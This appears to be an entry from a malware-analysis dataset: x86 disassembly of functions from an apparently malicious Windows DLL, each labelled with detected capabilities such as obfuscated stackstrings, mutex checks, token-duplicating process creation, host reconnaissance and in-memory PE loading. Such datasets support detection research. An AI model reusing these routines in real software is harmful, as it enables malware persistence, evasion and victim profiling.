joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007abb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push edi
mov byte [ebp - 0x428], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x1004e0b4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x1004e0b4
push 1
push 0x1004e14c
lea eax, [ebp - 0x428]
push eax
push closesocket
call fcn.1001138a
add esp, 0x1c
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10007bbd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push edi
mov byte [ebp - 0x428], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x4f
mov byte [ebp - 0x26], 0x46
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x57
mov byte [ebp - 0x23], 0x41
mov byte [ebp - 0x22], 0x52
mov byte [ebp - 0x21], 0x45
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x1f], 0x25
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x1004e0e6
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x1004e0e6
push 1
push 0x1004e158
lea eax, [ebp - 0x428]
push eax
push closesocket
call fcn.1001138a
add esp, 0x1c
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x100084e6
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push str.LJPXYXC
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10008519
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10008574
push 0
push 0
push 0
push 0
push 0x1000814b
push 0
push 0
call fcn.100107b2
add esp, 0x1c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x10007cbf
push 0
push 0
call fcn.100107b2
add esp, 0x1c
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call dword [0x10054d14]
mov edx, dword [ebp - 4]
push edx
call dword [0x10054d04]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10008578
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push str.userenv.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x4c], eax
push str.CreateEnvironmentBlock
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
push 0x44
push 0
lea ecx, [ebp - 0x44]
push ecx
call fcn.10011e70
add esp, 0xc
push 0x10
push 0
lea edx, [ebp - 0x68]
push edx
call fcn.10011e70
add esp, 0xc
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x3c], 0x1004e244
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x54]
push eax
push 0xf01ff
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [ebp - 0x50]
push edx
push 1
push 1
push 0
push 0x2000000
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push 0x1004e254
push 0x1004e274
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x100086c9
call dword [ebp - 0x78]
mov dword [ebp - 0x74], eax
push 4
lea ecx, [ebp - 0x74]
push ecx
push 0xc
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push 0
mov eax, dword [ebp - 0x50]
push eax
lea ecx, [ebp - 0x6c]
push ecx
call dword [ebp - 0x70]
lea edx, [ebp - 0x68]
push edx
lea eax, [ebp - 0x44]
push eax
push 0
mov ecx, dword [ebp - 0x6c]
push ecx
push 0x430
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x48], ecx
jmp 0x100086d0
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x4c], 0
je 0x100086e0
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x48]
mov esp, ebp
pop ebp
ret
Function at 0x100089fa
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push edi
mov dword [ebp - 0x18], 0x104
mov dword [ebp - 0x35c], 0
push 0x104
push 0
lea eax, [ebp - 0x354]
push eax
call fcn.10011e70
add esp, 0xc
push 0x2e
mov ecx, dword [ebp + 8]
push ecx
call fcn.10012380
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10008a49
xor al, al
jmp 0x10008c0e
lea edx, [ebp - 0x358]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x14]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10008a71
xor al, al
jmp 0x10008c0e
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x354]
push edx
push 0
mov eax, dword [ebp - 0x358]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
push 0
lea edx, [ebp - 0x20c]
push edx
call fcn.10011e70
add esp, 0xc
lea eax, [ebp - 0x354]
push eax
push str._s_shellopencommand
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x358]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x20c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10008af5
xor al, al
jmp 0x10008c0e
push 0x104
push 0
lea ecx, [ebp - 0x354]
push ecx
call fcn.10011e70
add esp, 0xc
mov dword [ebp - 0x18], 0x104
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x354]
push eax
push 0
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov edx, dword [ebp - 0x358]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1004e30c
lea eax, [ebp - 0x354]
push eax
call fcn.10012ae0
add esp, 8
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x10008b76
push 0x1004e310
lea ecx, [ebp - 0x354]
push ecx
call fcn.10012ae0
add esp, 8
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x10008ba4
push 0x1004e314
lea edx, [ebp - 0x354]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x354]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10008bb5
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x250], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x24c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x250], 0x44
cmp dword [ebp + 0xc], 0
je 0x10008be8
mov dword [ebp - 0x248], str.WinSta0Default
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x250]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x354]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10008e2e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10008e6f
xor eax, eax
jmp 0x10008ecf
mov edx, 1
test edx, edx
je 0x10008ebf
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008e98
jmp 0x10008ebf
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.100122f0
add esp, 8
test eax, eax
jne 0x10008ebd
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x130], ecx
jmp 0x10008ebf
jmp 0x10008e6f
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
mov esp, ebp
pop ebp
ret
Function at 0x1000ae12
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov byte [ebp - 8], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
push 0x1004fbf0
call 0x10000000
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jge 0x1000ae42
jmp 0x1000aed7
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x10]
push edx
call dword [ecx + 0x1c]
cmp eax, 0x887a0002
je 0x1000ae9a
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x14]
push eax
call dword [edx + 0x20]
cmp dword [ebp - 0x38], 0x10de
je 0x1000ae8b
cmp dword [ebp - 0x38], 0x1002
je 0x1000ae8b
cmp dword [ebp - 0x38], 0x8086
jne 0x1000ae8f
mov byte [ebp - 8], 0
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x1000ae42
mov edx, dword [ebp - 8]
and edx, 0xff
test edx, edx
je 0x1000aed7
mov dword [ebp - 0x138], 3
mov dword [ebp - 0x13c], 0
push 0x1004f510
mov eax, dword [ebp - 0x13c]
push eax
call fcn.100120d0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x1000bc46
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push str.Ole32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2c], eax
push str.CoInitialize
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push str.CoUninitialize
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push str.CoCreateInstance
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push str.Oleaut32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
push str.SysFreeString
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0
call dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x10]
push ecx
push 0x10028a5c
push 1
push 0
push 0x10028a7c
call dword [ebp - 4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1000bce1
xor eax, eax
jmp 0x1000bdce
push 0
lea edx, [ebp - 0x30]
push edx
push 0x10028a6c
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x10]
push edx
call dword [ecx + 0xc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1000bd08
xor eax, eax
jmp 0x1000bdce
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x30]
push edx
call dword [ecx + 0x14]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 1
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x30]
push ecx
call dword [eax + 0xc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1000bda8
lea edx, [ebp - 0x34]
push edx
push 0x10027580
push 0
push 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
call dword [ecx + 0x24]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x1000bd97
mov word [ebp - 0x44], 8
push 0
lea eax, [ebp - 0x44]
push eax
push str.FriendlyName
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x34]
push eax
call dword [edx + 0xc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1000bd8b
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x34]
push edx
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
call dword [ecx + 8]
jmp 0x1000bd14
call dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 0
je 0x1000bdbb
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x14], 0
je 0x1000bdcb
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x1000be89
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push edi
mov byte [ebp - 0x428], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0x14]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.10011e70
add esp, 0xc
push 0x400
push 0
lea edx, [ebp - 0x428]
push edx
call fcn.10011e70
add esp, 0xc
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x4f
mov byte [ebp - 0x26], 0x46
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x57
mov byte [ebp - 0x23], 0x41
mov byte [ebp - 0x22], 0x52
mov byte [ebp - 0x21], 0x45
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x1f], 0x25
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0
push str.Sauron
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x428]
push edx
push closesocket
call fcn.10011039
add esp, 0x20
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000c1c1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push esi
push edi
mov byte [ebp - 0x310], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x30f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
mov esi, 0x1004fa88
lea edi, [ebp - 0x20c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [ebp - 0x1f8]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000c315
push str.CTXOPConntion_Class
lea ecx, [ebp - 0x20c]
push ecx
call fcn.100122f0
add esp, 8
test eax, eax
jne 0x1000c2eb
push 0x104
lea edx, [ebp - 0x20c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x20c]
push ecx
call fcn.100123b0
add esp, 4
mov dword [ebp - 0x314], eax
mov edx, dword [ebp - 0x314]
sub edx, 1
mov dword [ebp - 0x314], edx
mov eax, dword [ebp - 0x314]
movsx ecx, byte [ebp + eax - 0x20c]
cmp ecx, 0x5f
jne 0x1000c282
mov edx, dword [ebp - 0x314]
lea eax, [ebp + edx - 0x20b]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.100120d0
add esp, 8
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x310]
push eax
call fcn.100120e0
add esp, 8
push 0x1004fab0
lea ecx, [ebp - 0x310]
push ecx
call fcn.100120e0
add esp, 8
push 2
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_GetClassNameA]
jmp 0x1000c231
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push eax
call fcn.1000c0d0
add esp, 4
lea ecx, [ebp - 0x310]
push ecx
call fcn.100123b0
add esp, 4
cmp eax, 4
jbe 0x1000c34a
lea eax, [ebp - 0x310]
jmp 0x1000c34f
mov eax, str.NULL
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000c526
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
mov byte [ebp - 0x4c0], 0xc8
push str.Sauron
push str.SOFTWARE_s
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x20
push 0
lea ecx, [ebp - 0x4bf]
push ecx
call fcn.10011e70
add esp, 0xc
push 0
lea edx, [ebp - 0x4bf]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0
lea eax, [ebp - 0x4bf]
push eax
push 1
push str.Groupfenzhu
lea ecx, [ebp - 0x104]
push ecx
push closesocket
call fcn.10011039
add esp, 0x20
push 0x10
push 0
lea edx, [ebp - 0x11c]
push edx
call fcn.10011e70
add esp, 0xc
mov dword [ebp - 0x4c4], 0x10
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x11c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x48]
push eax
call dword [0x10054dec]
push 4
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x49c]
push edx
call fcn.10011610
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x32
lea ecx, [ebp - 0x498]
push ecx
call fcn.1000be32
add esp, 0xc
mov dword [ebp - 0x434], 0x9c
lea edx, [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x42c]
push ecx
lea edx, [ebp - 0x430]
push edx
call fcn.1000c4a8
add esp, 0xc
call fcn.1000bfac
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x370], al
lea eax, [ebp - 0x38c]
push eax
call fcn.1000bdd2
add esp, 4
call fcn.1000c1c1
push eax
lea ecx, [ebp - 0x30e]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.1000c3e9
push eax
lea edx, [ebp - 0x336]
push edx
call fcn.100120d0
add esp, 8
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x10c], 8
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x108]
cmp eax, 0x2bf20
jbe 0x1000c6b9
mov dword [ebp - 0x2ec], 1
mov dword [ebp - 0x268], 0x40
lea ecx, [ebp - 0x268]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x400
mov edx, dword [ebp - 0x25c]
push edx
mov eax, dword [ebp - 0x260]
push eax
call fcn.10013130
push 0
push 0x400
push edx
push eax
call fcn.10013130
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], edx
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x36c], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x378], edx
call fcn.1000bc46
mov dword [ebp - 0x374], eax
push str._36.133
lea eax, [ebp - 0x466]
push eax
call fcn.100120d0
add esp, 8
push 0x80
lea ecx, [ebp - 0x2e8]
push ecx
push str.RDP_Tcp
call fcn.1000c355
add esp, 0xc
push 0x32
lea edx, [ebp - 0x368]
push edx
lea eax, [ebp - 0x228]
push eax
call fcn.1000bff9
add esp, 0xc
push 0x258
lea ecx, [ebp - 0x4c0]
push ecx
mov ecx, dword [ebp + 8]
call fcn.10001ce5
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov esp, ebp
pop ebp
ret
Function at 0x1000e4a3
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
xor ecx, ecx
mov cx, word [edx + 0x14]
lea edx, [eax + ecx + 0x18]
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], 0
jmp 0x1000e4e4
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, 0x28
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 0x14], ecx
jge 0x1000e597
mov edx, dword [ebp - 8]
cmp dword [edx + 0x10], 0
jne 0x1000e54b
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jle 0x1000e549
push 4
push 0x1000
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.10011e70
add esp, 0xc
jmp 0x1000e4d2
push 4
push 0x1000
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.10011610
add esp, 0xc
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
jmp 0x1000e4d2
mov esp, ebp
pop ebp
ret